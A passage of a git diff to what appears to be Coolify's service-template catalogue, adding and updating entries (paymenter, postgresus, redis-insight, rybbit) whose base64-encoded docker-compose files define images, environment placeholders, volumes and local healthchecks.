      - 'BOX64_DYNAREC_X87DOUBLE=${BOX64_DYNAREC_X87DOUBLE:-}'
",
+        "tags": null,
+        "category": null,
+        "logo": "svgs/default.webp",
+        "minversion": "0.0.0"
+    },
     "paperless": {
         "documentation": "https://docs.paperless-ngx.com/configuration/?utm_source=coolify.io",
         "slogan": "Paperless-ngx is a community-supported open-source document management system that transforms your physical documents into a searchable online archive so you can keep, well, less paper.",
@@ -3173,7 +3216,7 @@
     "paymenter": {
         "documentation": "https://paymenter.org/docs/guides/docker?utm_source=coolify.io",
         "slogan": "Open-Source Billing, Built for Hosting",
-        "compose": "c2VydmljZXM6CiAgcGF5bWVudGVyOgogICAgaW1hZ2U6ICdnaGNyLmlvL3BheW1lbnRlci9wYXltZW50ZXI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnYXBwX2xvZ3M6L2FwcC9zdG9yYWdlL2xvZ3MnCiAgICAgIC0gJ2FwcF9wdWJsaWM6L2FwcC9zdG9yYWdlL3B1YmxpYycKICAgIGVudmlyb25tZW50OgogICAgICBTRVJWSUNFX1VSTF9QQVlNRU5URVI6ICcke1NFUlZJQ0VfVVJMX1BBWU1FTlRFUl84MH0nCiAgICAgIERCX0RBVEFCQVNFOiAnJHtNWVNRTF9EQVRBQkFTRTotcGF5bWVudGVyLWRifScKICAgICAgREJfUEFTU1dPUkQ6ICcke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICBEQl9VU0VSTkFNRTogJyR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgQVBQX0VOVjogcHJvZHVjdGlvbgogICAgICBDQUNIRV9TVE9SRTogcmVkaXMKICAgICAgU0VTU0lPTl9EUklWRVI6IHJlZGlzCiAgICAgIFFVRVVFX0NPTk5FQ1RJT046IHJlZGlzCiAgICAgIFJFRElTX0hPU1Q6IHJlZGlzCiAgICAgIFJFRElTX1VTRVJOQU1FOiBkZWZhdWx0CiAgICAgIFJFRElTX1BBU1NXT1JEOiAnJHtTRVJWSUNFX1BBU1NXT1JEXzY0X1JFRElTfScKICAgICAgREJfQ09OTkVDVElPTjogbWFyaWFkYgogICAgICBEQl9IT1NUOiBtYXJpYWRiCiAgICAgIERCX1BPUlQ6IDMzMDYKICAgICAgQVBQX0tFWTogJyR7U0VSVklDRV9CQVNFNjRfS0VZfScKICAgIGRlcGVuZHNfb246CiAgICAgIG1hcmlhZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX3N0YXJ0ZWQKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEnCiAgICB2b2x1bWVzOgogICAgICAtICdwYXltZW50ZXJfbWFyaWFkYl9kYXRhOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMUk9PVH0nCiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TVlTUUxfREFUQUJBU0U6LXBheW1lbnRlci1kYn0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMK",
+        "compose": "c2VydmljZXM6CiAgcGF5bWVudGVyOgogICAgaW1hZ2U6ICdnaGNyLmlvL3BheW1lbnRlci9wYXltZW50ZXI6djEuNC41JwogICAgdm9sdW1lczoKICAgICAgLSAnYXBwX2xvZ3M6L2FwcC9zdG9yYWdlL2xvZ3MnCiAgICAgIC0gJ2V4dGVuc3Rpb25zOi9hcHAvZXh0ZW5zaW9ucycKICAgICAgLSAndGhlbWVzOi9hcHAvdGhlbWVzJwogICAgICAtICdhcHBfc3RvcmFnZTovYXBwL3N0b3JhZ2UvYXBwJwogICAgICAtICdhcHBfcHVibGljX3N0b3JhZ2U6L2FwcC9zdG9yYWdlL2FwcC9wdWJsaWMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgU0VSVklDRV9VUkxfUEFZTUVOVEVSOiAnJHtTRVJWSUNFX1VSTF9QQVlNRU5URVJfODB9JwogICAgICBEQl9EQVRBQkFTRTogJyR7TVlTUUxfREFUQUJBU0U6LXBheW1lbnRlci1kYn0nCiAgICAgIERCX1BBU1NXT1JEOiAnJHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgREJfVVNFUk5BTUU6ICcke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIEFQUF9FTlY6IHByb2R1Y3Rpb24KICAgICAgQ0FDSEVfU1RPUkU6IHJlZGlzCiAgICAgIFNFU1NJT05fRFJJVkVSOiByZWRpcwogICAgICBRVUVVRV9DT05ORUNUSU9OOiByZWRpcwogICAgICBSRURJU19IT1NUOiByZWRpcwogICAgICBSRURJU19VU0VSTkFNRTogZGVmYXVsdAogICAgICBSRURJU19QQVNTV09SRDogJyR7U0VSVklDRV9QQVNTV09SRF82NF9SRURJU30nCiAgICAgIERCX0NPTk5FQ1RJT046IG1hcmlhZGIKICAgICAgREJfSE9TVDogbWFyaWFkYgogICAgICBEQl9QT1JUOiAzMzA2CiAgICAgIEFQUF9LRVk6ICcke1NFUlZJQ0VfQkFTRTY0X0tFWX0nCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ2N1cmwgLXNmIGh0dHA6Ly9sb2NhbGhvc3Q6ODAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOjExLjgnCiAgICB2b2x1bWVzOgogICAgICAtICdwYXltZW50ZXJfbWFyaWFkYl9kYXRhOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMUk9PVH0nCiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TVlTUUxfREFUQUJBU0U6LXBheW1lbnRlci1kYn0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMK",
         "tags": [
             "automation",
             "billing",
@@ -3375,6 +3418,19 @@
         "minversion": "0.0.0",
         "port": "9000"
     },
+    "postgresus": {
+        "documentation": "https://postgresus.com/#guide?utm_source=coolify.io",
+        "slogan": "Postgresus is a free, open source and self-hosted tool to backup PostgreSQL.",
+        "compose": "c2VydmljZXM6CiAgcG9zdGdyZXN1czoKICAgIGltYWdlOiAncm9zdGlzbGF2ZHVnaW4vcG9zdGdyZXN1czo3ZmI1OWJiNWQwMmZiYWY4NTZiMGJjZmM3YTA3ODY1NzU4MThiOTZmJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUE9TVEdSRVNVU180MDA1CiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3VzLWRhdGE6L3Bvc3RncmVzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=",
+        "tags": [
+            "postgres",
+            "backup"
+        ],
+        "category": "devtools",
+        "logo": "svgs/postgresus.svg",
+        "minversion": "0.0.0",
+        "port": "4005"
+    },
     "postiz": {
         "documentation": "https://docs.postiz.com?utm_source=coolify.io",
         "slogan": "Open source social media scheduling tool.",
@@ -3600,7 +3656,7 @@
     "redis-insight": {
         "documentation": "https://redis.io/docs/latest/operate/redisinsight/?utm_source=coolify.io",
         "slogan": "Redis Insight lets you do both GUI- and CLI-based interactions in a fully-featured desktop GUI client.",
-        "compose": "c2VydmljZXM6CiAgcmVkaXNpbnNpZ2h0OgogICAgaW1hZ2U6ICdyZWRpcy9yZWRpc2luc2lnaHQ6Mi43MCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1JFRElTSU5TSUdIVF81NTQwCiAgICAgIC0gUklfQVBQX0hPU1Q9MC4wLjAuMAogICAgICAtIFJJX0FQUF9QT1JUPTU1NDAKICAgICAgLSAnUklfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1JJX0VOQ1JZUFRJT05fS0VZfScKICAgICAgLSAnUklfTE9HX0xFVkVMPSR7UklfTE9HX0xFVkVMOi1pbmZvfScKICAgICAgLSAnUklfRklMRVNfTE9HR0VSPSR7UklfRklMRVNfTE9HR0VSOi10cnVlfScKICAgICAgLSAnUklfU1RET1VUX0xPR0dFUj0ke1JJX1NURE9VVF9MT0dHRVI6LXRydWV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXNfaW5zaWdodF9kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjU1NDAnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgcmV0cmllczogMwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMK",
+        "compose": "c2VydmljZXM6CiAgcmVkaXNpbnNpZ2h0OgogICAgaW1hZ2U6ICdyZWRpcy9yZWRpc2luc2lnaHQ6Mi43MCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1JFRElTSU5TSUdIVF81NTQwCiAgICAgIC0gUklfQVBQX0hPU1Q9MC4wLjAuMAogICAgICAtIFJJX0FQUF9QT1JUPTU1NDAKICAgICAgLSAnUklfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1JJX0VOQ1JZUFRJT05fS0VZfScKICAgICAgLSAnUklfTE9HX0xFVkVMPSR7UklfTE9HX0xFVkVMOi1pbmZvfScKICAgICAgLSAnUklfRklMRVNfTE9HR0VSPSR7UklfRklMRVNfTE9HR0VSOi10cnVlfScKICAgICAgLSAnUklfU1RET1VUX0xPR0dFUj0ke1JJX1NURE9VVF9MT0dHRVI6LXRydWV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXNfaW5zaWdodF9kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMC4wLjAuMDo1NTQwL2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgcmV0cmllczogMwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMK",
         "tags": [
             "redis",
             "gui",
@@ -3664,7 +3720,7 @@
     "rybbit": {
         "documentation": "https://rybbit.io/docs?utm_source=coolify.io",
         "slogan": "Open-source, privacy-first web analytics.",
-        "compose": "c2VydmljZXM6CiAgcnliYml0OgogICAgaW1hZ2U6ICdnaGNyLmlvL3J5YmJpdC1pby9yeWJiaXQtY2xpZW50OnYxLjYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1JZQkJJVF8zMDAyCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtICdORVhUX1BVQkxJQ19CQUNLRU5EX1VSTD0ke1NFUlZJQ0VfVVJMX1JZQkJJVH0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9TSUdOVVA6LWZhbHNlfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcnliYml0X2JhY2tlbmQKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnbmMgLXogMTI3LjAuMC4xIDMwMDInCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICByeWJiaXRfYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9yeWJiaXQtaW8vcnliYml0LWJhY2tlbmQ6djEuNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtIFRSVVNUX1BST1hZPXRydWUKICAgICAgLSAnQkFTRV9VUkw9JHtTRVJWSUNFX1VSTF9SWUJCSVR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQkVUVEVSX0FVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfNjRfQkFDS0VORH0nCiAgICAgIC0gJ0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9URUxFTUVUUlk9JHtESVNBQkxFX1RFTEVNRVRSWTotdHJ1ZX0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfSE9TVD1odHRwOi8vcnliYml0X2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7Q0xJQ0tIT1VTRV9VU0VSOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQj0ke0NMSUNLSE9VU0VfREI6LWFuYWx5dGljc30nCiAgICAgIC0gUE9TVEdSRVNfSE9TVD1yeWJiaXRfcG9zdGdyZXMKICAgICAgLSBQT1NUR1JFU19QT1JUPTU0MzIKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgZGVwZW5kc19vbjoKICAgICAgcnliYml0X2NsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcnliYml0X3Bvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAxL2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICByeWJiaXRfcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE3LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgcnliYml0X2NsaWNraG91c2U6CiAgICBpbWFnZTogJ2NsaWNraG91c2UvY2xpY2tob3VzZS1zZXJ2ZXI6MjUuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1hbmFseXRpY3N9JwogICAgICAtICdDTElDS0hPVVNFX1VTRVI9JHtDTElDS0hPVVNFX1VTRVI6LWRlZmF1bHR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgdm9sdW1lczoKICAgICAgLSAnY2xpY2tob3VzZV9kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2VuYWJsZV9qc29uLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9lbmFibGVfanNvbi54bWwKICAgICAgICBjb250ZW50OiAiPGNsaWNraG91c2U+XG4gICAgPHNldHRpbmdzPlxuICAgICAgICA8ZW5hYmxlX2pzb25fdHlwZT4xPC9lbmFibGVfanNvbl90eXBlPlxuICAgIDwvc2V0dGluZ3M+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICAgIDxsb2dnZXI+XG4gICAgICAgIDxsZXZlbD53YXJuaW5nPC9sZXZlbD5cbiAgICAgICAgPGNvbnNvbGU+dHJ1ZTwvY29uc29sZT5cbiAgICA8L2xvZ2dlcj5cbiAgICA8cXVlcnlfdGhyZWFkX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHF1ZXJ5X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHRleHRfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8dHJhY2VfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8bWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGFzeW5jaHJvbm91c19tZXRyaWNfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8c2Vzc2lvbl9sb2cgcmVtb3ZlPVwicmVtb3ZlXCIvPlxuICAgIDxwYXJ0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGxhdGVuY3lfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8cHJvY2Vzc29yc19wcm9maWxlX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG48L2NsaWNraG91c2U+IgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9jbGlja2hvdXNlX2NvbmZpZy9uZXR3b3JrLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9uZXR3b3JrLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8bGlzdGVuX2hvc3Q+MC4wLjAuMDwvbGlzdGVuX2hvc3Q+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL3VzZXJfbG9nZ2luZy54bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvY2xpY2tob3VzZS1zZXJ2ZXIvY29uZmlnLmQvdXNlcl9sb2dnaW5nLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8cHJvZmlsZXM+XG4gICAgICAgIDxkZWZhdWx0PlxuICAgICAgICAgICAgPGxvZ19xdWVyaWVzPjA8L2xvZ19xdWVyaWVzPlxuICAgICAgICAgICAgPGxvZ19xdWVyeV90aHJlYWRzPjA8L2xvZ19xdWVyeV90aHJlYWRzPlxuICAgICAgICAgICAgPGxvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPjA8L2xvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPlxuICAgICAgICA8L2RlZmF1bHQ+XG4gICAgPC9wcm9maWxlcz5cbjwvY2xpY2tob3VzZT4iCg==",
+        "compose": "c2VydmljZXM6CiAgcnliYml0OgogICAgaW1hZ2U6ICdnaGNyLmlvL3J5YmJpdC1pby9yeWJiaXQtY2xpZW50OnYxLjYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1JZQkJJVF8zMDAyCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtICdORVhUX1BVQkxJQ19CQUNLRU5EX1VSTD0ke1NFUlZJQ0VfVVJMX1JZQkJJVH0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9TSUdOVVA6LWZhbHNlfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcnliYml0X2JhY2tlbmQKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnbmMgLXogMTI3LjAuMC4xIDMwMDInCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICByeWJiaXRfYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9yeWJiaXQtaW8vcnliYml0LWJhY2tlbmQ6djEuNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtIFRSVVNUX1BST1hZPXRydWUKICAgICAgLSAnQkFTRV9VUkw9JHtTRVJWSUNFX1VSTF9SWUJCSVR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQkVUVEVSX0FVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfNjRfQkFDS0VORH0nCiAgICAgIC0gJ0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9URUxFTUVUUlk9JHtESVNBQkxFX1RFTEVNRVRSWTotdHJ1ZX0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfSE9TVD1odHRwOi8vcnliYml0X2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7Q0xJQ0tIT1VTRV9VU0VSOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQj0ke0NMSUNLSE9VU0VfREI6LWFuYWx5dGljc30nCiAgICAgIC0gUE9TVEdSRVNfSE9TVD1yeWJiaXRfcG9zdGdyZXMKICAgICAgLSBQT1NUR1JFU19QT1JUPTU0MzIKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgZGVwZW5kc19vbjoKICAgICAgcnliYml0X2NsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcnliYml0X3Bvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAxL2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICByeWJiaXRfcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE3LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgcnliYml0X2NsaWNraG91c2U6CiAgICBpbWFnZTogJ2NsaWNraG91c2UvY2xpY2tob3VzZS1zZXJ2ZXI6MjUuNC4yJwogICAgZW52aXJvbm1lbn